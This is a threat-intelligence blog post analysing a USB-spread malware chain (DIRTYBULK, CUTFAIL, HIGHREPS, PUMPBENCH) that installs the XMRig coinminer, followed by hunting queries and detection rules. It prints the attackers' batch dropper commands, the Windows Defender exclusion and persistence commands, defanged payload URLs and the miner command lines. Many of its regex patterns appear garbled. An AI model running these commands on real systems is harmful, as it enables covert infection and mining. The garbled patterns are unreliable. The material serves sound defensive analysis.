Blog authors: MichelleMorales, koyzki, TommyD
Welcome to the Finding Malware Series
The "Finding Malware" blog series from Managed Threat Defense is to empower the Google Security Operations (SecOps) community to detect emerging and persistent malware threats. This post deep dives into a campaign that leverages USB infections to deploy coinminers. This ongoing campaign utilizes USB drives to infect hosts, supporting attacker's coinmining operations. Like many USB-based infection vectors, it includes a propagation mechanism to infect other USB devices. Happy hunting!
This ongoing campaign, first observed in September 2024, is among the most prevalent threats that Mandiant Threat Defense has responded to this year. This demonstrates the continued effectiveness of initial access via infected USB drives. The low cost and ability to bypass network security make this technique a compelling option for attackers.
Mandiant identified several distinct payloads within this multi-stage infection chain. The list below details malware families tracked by Mandiant.
- DIRTYBULK is primarily used as a launcher to initiate the execution of other malicious components.
- CUTFAIL functions as a malware dropper, installing malware onto a system.
- HIGHREPS acts as the downloader, retrieving malicious files to ensure persistent infection on the system.
- PUMPBENCH is a backdoor that provides remote access.
- XMRig is an open-source software for mining cryptocurrencies such as Monero, Dero, and Ravencoin.
Malware Infection Chain
Figure 1: USB Malware Infection Chain
Initial Infection
The compromised USB drive typically contains the following files.
- %driveletter%\\<random name>\.lnk
- %driveletter%\\rootdir\\x?t0-9]{6}\.vbs
- %driveletter%\\rootdir\\x?o0-9]{6}\.bat
- %driveletter%\\rootdir\\x?o0-9]{6}\.dat
The first stage of the malware infection starts when a user is tricked into executing a shortcut file with a seemingly-benign name, like USB Drive.lnk. This shortcut file points to the Visual Basic (VB) script file name that follows the regex pattern x?"0-9]{6}\.vbs located within the rootdir directory.
Figure 2: malicious shortcut file (.lnk)
Once the VB script file is executed via wscript.exe, it then runs the batch script file, which follows the same naming convention x?00-9]{6}\.bat, silently in the background without any visible window.
WshShell.Run Chr(34) & "x?(0-9]{6}\.bat" & Chr(34), 0
The batch script file contains several functionalities but most notably, it creates a fake subdirectory %SystemDrive%\Windows<space>\System32\. Note there is a <space> between Windows and System32, a technique that attempts to confuse users into thinking the folder path is the legitimate %System32% directory. The snippet below shows the malicious code of the BAT file.
This batch script is also responsible for copying and executing the initial payload of the multi-stage infection. A legitimate binary (printui.exe) and a malicious DLL payload (printui.dll) are dropped into the same directory, where the malicious DLL will be executed through DLL Side-loading.
mkdir "\\?\%SystemDrive%\Windows<space>\System32"
xcopy "%SystemDrive%\Windows\System32\printui.exe" "%SystemDrive%\Windows<space>\System32" /Y
xcopy "x?Y0-9]{6}\.dat" "%SystemDrive%\Windows<space>\System32" /Y
ren "%SystemDrive%\Windows<space>\System32\x?&0-9]{6}\.dat" "printui.dll"
if exist "%SystemDrive%\Windows<space>\System32\printui.exe" (
if exist "%SystemDrive%\Windows<space>\System32\printui.dll" (
start "" "%SystemDrive%\Windows<space>\System32\printui.exe"
) else rmdir /S /Q "\\?\%SystemDrive%\Windows<space>"
) else rmdir /S /Q "\\?\%SystemDrive%\Windows<space>"
Mandiant tracks this malicious DLL as DIRTYBULK.
First Stage: DIRTYBULK
The DIRTYBULK is a malware written in C++ that uses syscalls directly to bypass userland hooks. It is designed to drop and launch CUTFAIL, a second-stage malware embedded within its code. CUTFAIL is dropped onto the host and placed in the legitimate %SystemDrive%\Windows\System32 directory.
DIRTYBULK loads and maps CUTFAIL into printui.exe process space using Windows Native APIs instead of more higher-level Win32 APIs like CreateProcess or LoadLibrary.
This technique not only enables malware to bypass hooks on standard Win32 API calls being monitored by security software, but it also provides stealth.
Second Stage: CUTFAIL
CUTFAIL is a malware written in C++. It is designed to be the main orchestrator to set up the infection. Its main roles include:
- Malware Dropper: It will decrypt and drop two other malware components onto the %System32% folder:
- HIGHREPS downloader (console_zero.exe) and
- PUMPBENCH backdoor (x?d0-9]{6}\.dat).
- Installing Additional Components: It also drops an encrypted configuration file, and several third-party libraries like OpenSSL, libcurl, and WinPthreadGC.
In addition to dropping malware and the necessary components for its mission, CUTFAIL also establishes security evasion and malware persistence on the host.
Security Evasion
CUTFAIL creates a PowerShell process to add a Windows Defender exclusion list to the following directory:
- %SystemDrive%\Windows<space>\System32
- %SystemDrive%\Windows\System32
Add-MpPreference -ExclusionPath "$env:SystemDrive\Windows \System32";
Add-MpPreference -ExclusionPath "$env:SystemDrive\Windows\System32";
Figure 3: Function call to add Windows Defender Exclusion commands
In doing so, CUTFAIL adds another layer of defense evasion technique by instructing Windows Defender to not scan the files and subfolders within its operating folder locations.
Persistence
CUTFAIL installs a Windows service that launches the PUMPBENCH file (x?/0-9]{6}\.dat). The new service is created as part of the legitimate DcomLaunch service group, further blending the malicious persistence mechanism with benign system activity.
sc create x{6 random numbers} binPath= "C:\Windows\System32\svchost.exe -k DcomLaunch" type= own start= auto && reg add HKLM\SYSTEM\CurrentControlSet\services\x{6 random numbers}\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\System32\x{6 random numbers}.dat" /f && sc start x{6 random numbers}
Final Payloads: HIGHREPS downloader and PUMPBENCH backdoor
About HIGHREPS
HIGHREPS is the downloader component of this malware chain and typically has the file name console_zero.exe. It achieves persistence by creating a scheduled task configured to launch itself upon user logon.
schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f
The main purpose of HIGHREPS is to ensure that the final payload, PUMPBENCH, is present on the endpoint. It does this by checking for the existence of a file in the C:\Windows\System32 directory that matches the naming pattern x?e0-9]{6}\.dat. If the file is not found, HIGHREPS attempts to download the payload from a list of embedded URLs.
The following are some of the observed URLs utilized by HIGHREPS to download PUMPBENCH:
- unvdwx<.]com/un1/uhard<.]dat
- rootunvdwl/.]com/un1/uhard<.]dat
- githubn.]com/unvdwl/dwl/raw/main/mainuhardo.]dat
- raw.githubusercontent .]com/rootunvbot/mydata/refs/heads/main/mainuhardu.]dat
Furthermore, HIGHREPS utilizes several DNS over HTTPS (DoH) services to resolve the DNS names associated with the hardcoded download URLs.
The following are some of the observed DNS over HTTPS services used by HIGHREPS:
- dnsE.]google/resolve?name=unvdwxn.]com
- dns/.]google/resolve?name=rootunvdwly.]com
- dns.nextdns<.]io/resolve?name=rootunvdwl".]com
- dns.nextdns<.]io/resolve?name=unvdwxy.]com
- doh.dnso.]sb/dns-query?name=unvdwxs.]com
- doh.dnso.]sb/dns-query?name=rootunvdwle.]com
About PUMPBENCH
PUMPBENCH is a backdoor written in C++ that communicates with a PostgreSQL database server. The backdoor supports a suite of commands, namely: file download, file execution, and process enumeration.
PUMPBENCH connects to a remote database server using the libpq library with specific settings:
host={DB SERVER} port=5432 dbname=universal_database user={username} password={PW} connect_timeout=60
In currently available samples, the username and password used typically has variations for the strings universal and user.
The following are some of the observed database servers used:
- tcpb:]//rootuniversal<.]com:5432
- tcp5:]//unvmainx<.]com:5432
The backdoor connects to the database to query three main tables: config_table, file_table, and report_process_table.
1. config_table
This table contains configuration information about the malware components it will download or execute. Information includes:
- miner_hash - hash values for cpu and gpu miner binary components
- miner_path - file path to install the cpu and gpu miner binary components on the infected system
- miner_script - script used to run the miner binary components
- miner_working_time_minutes - likely set to run the miners only for specific periods of time
- miner_id - in the string format x{6 random numbers}, appears to be the identifier for the miner
- usb_dll_hash - hash value for the DLL binary in the USB device
- usb_dll_path - file path to install DLL binary in the USB device
2. file_table
The table contains information about additional payload components, providing either a download URL for the binary or the binary data itself. The following are some of the download URLs listed on this table:
- httpss:]//githubs.]com:443/panchito10/myFiles/raw/main/my_backup_app.exe
- httpsp:]//rawt.]githubusercontentl.]com:443/rootbossko/myfiles/main/myapp64.dat
3. report_process_table
This table contains the list of specific processes the backdoor wants a report back on. The backdoor performs anti-vm checks, process enumeration, and system survey checks on the infected host.
Host Reconnaissance
PUMPBENCH attempts to perform host-based reconnaissance. This includes system information like:
- Hostname
- User name
- Machine GUID
- Operating system
- CPU and GPU status, and respective memory sizes.
Additionally, it performs a GET request to https://ipinfot.]io to obtain the host’s geographical information.
Coinminer
PUMPBENCH was observed to download XMRig.
XMRig is a cryptocurrency miner written in C++ that loads its configuration using command-line arguments or a JSON file. XMRig supports multiple mining algorithms including RandomX, KawPow, CryptoNight, and AstroBWT.
The following are some of the observed executions of cryptocurrency miners with their configuration loaded via command-line arguments:
Miner | Execution | Wallet address |
Monero (XMR) cryptocurrency miner | cmd.exe /c x986519.dat -o xmr-eu1.nanopool8.]org:14444 -u 84ES4zTQNwneeZa6fivKrjLNoTDDUQ5yucXxTA6F7X8QfKjTXgZ38KidL4coDWY1odAeDnr8qaBofGrbwbpwrjyp2HcsPZQ.rig_00 --algo=rx/0 --max-cpu-usage=50 | 84ES4zTQNwneeZa6fivKrjLNoTDDUQ5yucXxTA6F7X8QfKjTXgZ38KidL4coDWY1odAeDnr8qaBofGrbwbpwrjyp2HcsPZQ |
Zephyr Protocol (ZEPH) cryptocurrency miner | cmd.exe /c x108588.dat -o zepht.]2minersh.]com:2222 -u ZEPHsBYMTax5Q4qGFTTBSKgqMPWWLVaDb9gnNw2kSbQW5QUoqqR7N2mWnzCaYLeK8B38PjHH1zCz5fyAWjoRqjP7AQeiQhQDwdA --rig-id=rig_00 --max-cpu-usage=50 | ZEPHsBYMTax5Q4qGFTTBSKgqMPWWLVaDb9gnNw2kSbQW5QUoqqR7N2mWnzCaYLeK8B38PjHH1zCz5fyAWjoRqjP7AQeiQhQDwdA |
Propagation
PUMPBENCH spreads by infecting USB drives. It scans the system for available drives and then creates a batch file, a VBScript file, a shortcut file, and a DAT file.
The files are created under the folder location %SystemRoot%\rootdir. The files are identical to those described in the Initial Infection section.
Acknowledgements
We would like to extend our thanks to Tina Johnson, Jon Daniels, and Dimiter Andonov for their assistance in analyzing the malware samples. We also thank Choon Kiat Ng and Rommel Joven for their inputs, and all the reviewers for their valuable contributions to this blog post.
Hunting Opportunities
Mandiant Threat Defense hunters surface otherwise undetected malicious activity by employing a detection strategy that uses both strong signals (high enough fidelity to be reviewed 1:1) and weak signals (low fidelity on their own but provide broad coverage of threat actor tactics) to enumerate attacker activity in customer environments. These signals are used to sequentially funnel petabytes of telemetry data to a practicable number of enriched and highly curated cases for analyst review. Mandiant uses security frameworks like MITRE ATT&CK to help label data, find interesting sequences of activity, and share actionable results with customers.
Google SecOps customers can use the following information to hunt for malware like DIRTYBULK as well as other malicious activity using similar tactics:
- Shortcut file execution from removable USB device - Worm propagation has often been observed relying on users being tricked into executing malicious files on removable USB devices. In DIRTYBULK campaigns, users executed shortcut files on the root of the drive with seemingly-innocuous names like USB Drive.lnk or USB2 (16GB).lnk. Windows UserAssist registry key artifacts can be used to detect on execution of such files. UserAssist value names are ROT13-encoded, so the previous two examples would have the following registry value names:
- Q:\HFO Qevir.yax
- Q:\HFO2 (16TO).yax
These events map to MITRE ATT&CK Technique T1204.002 - User Execution: Malicious File. If UserAssist key events are recorded by your endpoint security solution, they can be queried in Google SecOps like in the following example:
(
principal.registry.registry_key = /userassist/ nocase OR
target.registry.registry_key = /userassist/ nocase
) AND
(
principal.registry.registry_key = /count/ nocase OR
target.registry.registry_key = /count/ nocase
) AND
(
principal.registry.registry_value_name = /.QRSqrs]:\\e^\\]*\.yax/ OR
target.registry.registry_value_name = /cQRSqrs]:\\t^\\]*\.yax/ OR
principal.registry.registry_value_name = /tQRSqrs]:\\\s*\\r^\\]*\.yax/ OR
target.registry.registry_value_name = /rQRSqrs]:\\\s*\\y^\\]*\.yax/
)
The above query identifies shortcut file execution from the D:, E:, or F: drive root or a directory with only space character(s) in its name. The query can be modified and appended to include additional drive letters and suspicious directories.
- Adding antivirus or firewall exclusions via PowerShell - Threat actors have been observed utilizing PowerShell to add antivirus and/or firewall exclusions to evade defenses. For example, the command cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'G:\' excludes the drive letter G:\ from Windows Defender scheduled and real-time scanning. These events map to MITRE ATT&CK Technique T1562.004 - Impair Defenses: Disable or Modify System Firewall.
Use the UDM query below in Google SecOps to identify such events.
target.process.command_line = /add-mppreference -exclusionpath/ nocase OR
target.process.command_line = /new-netfirewallrule/ nocase
- Windows scheduled tasks creation with execution on logon - Malicious activity like that observed in DIRTYBULK campaigns can establish persistence using Windows scheduled tasks, often configured to execute upon user logon and with the highest available privileges. These events map to MITRE ATT&CK Technique T1053.005 - Scheduled Task/Job: Scheduled Task.
Use the UDM query below in Google SecOps to identify scheduled task registration involving the aforementioned characteristics, and add exclusions to the logic to tune benign activity out.
target.process.command_line = /schtasks/ nocase AND
target.process.command_line = /create/ nocase AND
target.process.command_line = /tn\s+\"l^\\\/]+\"/ nocase AND
target.process.command_line = /sc onlogon/ nocase AND
target.process.command_line = /rl highest/ nocase
- Windows service creation with service group specified - Malware can leverage Windows services for persistence, and specify existing service groups like DcomLaunch to blend in to benign system activity and perform privilege escalation. These events map to MITRE ATT&CK Technique T1543.003 - Create or Modify System Process: Windows Service
Use the UDM query below in Google SecOps to identify these events, like the example DIRTYBULK service creation as follows: sc create x{six random digits} binPath= "C:\Windows\System32\svchost.exe -k DcomLaunch" type= own start= auto
target.process.file.full_path = /sc\.exe$/ nocase AND
target.process.command_line = /svchost.exe \-k/ nocase
- Windows service creation with service DLL specified - Windows services can be created while specifying the service DLL to be executed. This has been observed to be leveraged by threat actors, like the DIRTYBULK service creation example as follows: reg add HKLM\SYSTEM\CurrentControlSet\services\x{six random digits}\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\System32\x{six random digits}.dat" /f
These events map to MITRE ATT&CK Technique T1543.003 - Create or Modify System Process: Windows Service. Use the UDM query below in Google SecOps to identify such events:
target.process.file.full_path = /reg\.exe$/ nocase AND
(
target.process.command_line = /ServiceDLL/ nocase OR
target.process.command_line = /Dllname/ nocase
)
Detections
Users can create custom single or multi-event YL2 rules within Google Security Operations to detect DIRTYBULK and its malware components.
- This rule matches on the initial VB and Batch script execution from the infected removable drive.
rule dirtybulk_scripts_execution {
meta:
author = "Mandiant"
description = "This rule matches on the VB and Batch script execution from the infected removable drive."
mitre_attack_tactic = "User Execution"
mitre_attack_technique = "User Execution: Malicious File"
mitre_attack_url = "https://attack.mitre.org/techniques/T1204/002/"
severity = "Medium"
priority = "Medium"
platform = "Windows"
type = "hunt"
events:
$e.metadata.event_type = "PROCESS_LAUNCH" AND
re.regex($e.target.process.file.full_path, `\\(wscript|cmd)\.exe$`) NOCASE AND
re.regex($e.target.process.command_line, `\\rootdir\\x?e0-9]{6}\.(bat|vbs)`) NOCASE
condition:
$e
}
- This rule matches on the DLL side-loading of DIRTYBULK malware named printui.dll by the legitimate executable printui.exe located in the Windows<space>\System32\ directory and related events.
rule dirtybulk_side_loading {
meta:
author = "Mandiant"
description = "This rule matches on the DLL side-loading of DIRTYBULK malware named `printui.dll` by the legitimate executable `printui.exe` located in the `Windows<space>\\System32\\` directory and related events."
mitre_attack_tactic = "User Execution"
mitre_attack_technique = "User Execution: Malicious File"
mitre_attack_url = "https://attack.mitre.org/techniques/T1204/002/"
severity = "Medium"
priority = "Medium"
platform = "Windows"
type = "hunt"
events:
(
$e.metadata.event_type = "PROCESS_LAUNCH" OR
$e.metadata.event_type = "PROCESS_MODULE_LOAD" OR
$e.metadata.event_type = "FILE_CREATION"
) AND
(
(
re.regex($e.principal.process.file.full_path, `\\cmd\.exe`) NOCASE AND
re.regex($e.target.process.file.full_path, `\\Windows\s\\System32\\printui\.exe$`) NOCASE
) OR
(
re.regex($e.principal.process.file.full_path, `\\Windows\s\\System32\\printui\.exe$`) NOCASE
)
)
condition:
$e
}
- This rule matches on the process events associated with the execution of the batch script file x?\0-9]{6}\.bat, such as the copying of the legitimate printui.exe in the \\Windows\s\\System32 directory and the copying and renaming of malicious DLL printui.dll.
rule windows_dirtybulk_batch_script_commands {
meta:
author = "Mandiant"
description = "This rule matches on the process events associated with the execution of the batch script file `x?u0-9]{6}.bat`, such as the copying of the legitimate `printui.exe` in the `\\Windows<space>\\System32` directory and renaming of malicious DLL `printui.dll`."
mitre_attack_tactic = "User Execution"
mitre_attack_technique = "User Execution: Malicious File"
mitre_attack_url = "https://attack.mitre.org/techniques/T1204/002/"
severity = "Medium"
priority = "Medium"
platform = "Windows"
type = "hunt"
events:
(
$e.metadata.event_type = "PROCESS_LAUNCH" AND
re.regex($e.principal.process.file.full_path, `\\cmd\.exe`) NOCASE AND
re.regex($e.principal.process.command_line, `\\rootdir\\x?a0-9]{6}\.bat`) NOCASE AND
re.regex($e.target.process.file.full_path, `\\xcopy\.exe`) NOCASE AND
re.regex($e.target.process.command_line, `\\Windows\s\\System32`) NOCASE AND
re.regex($e.target.process.command_line, `(x?u0-9]{6}\.dat|\\printui\.exe)`) NOCASE
) OR
(
(
$e.metadata.event_type = "FILE_CREATION" OR
$e.metadata.event_type = "FILE_MODIFICATION"
) AND
re.regex($e.principal.process.file.full_path, `\\(xcopy|cmd)\.exe`) NOCASE AND
re.regex($e.target.file.full_path, `\\Windows\s\\System32\\printui\.(exe|dll)`) NOCASE
)
condition:
$e
}
- This rule detects network connections where svchost.exe with command line DcomLaunch connects to port 5432. This may indicate PUMPBENCH C2 activity.
rule svchost_to_postgresql_port {
meta:
author = "Mandiant"
description = "Detects network connections where svchost.exe with command line svchost.exe -k DcomLaunch connects to port 5432. This may indicate PUMPBENCH C2 activity."
mitre_attack_tactic = "Command and Control"
mitre_attack_technique = "Web Service"
mitre_attack_url = "https://attack.mitre.org/techniques/T1102/"
severity = "Medium"
platform = "Windows"
type = "hunt"
events:
$e.metadata.event_type = "NETWORK_CONNECTION"
re.regex($e.principal.process.file.full_path, `svchost\.exe`) NOCASE
re.regex($e.principal.process.command_line, `DcomLaunch`) NOCASE
re.regex($e.principal.process.parent_process.file.full_path, `services\.exe`) NOCASE
$e.target.port = 5432
// exclude private IP adresss ranges
not net.ip_in_range_cidr($e.target.ip, "10.0.0.0/8")
not net.ip_in_range_cidr($e.target.ip, "172.16.0.0/12")
not net.ip_in_range_cidr($e.target.ip, "192.168.0.0/16")
condition:
$e
}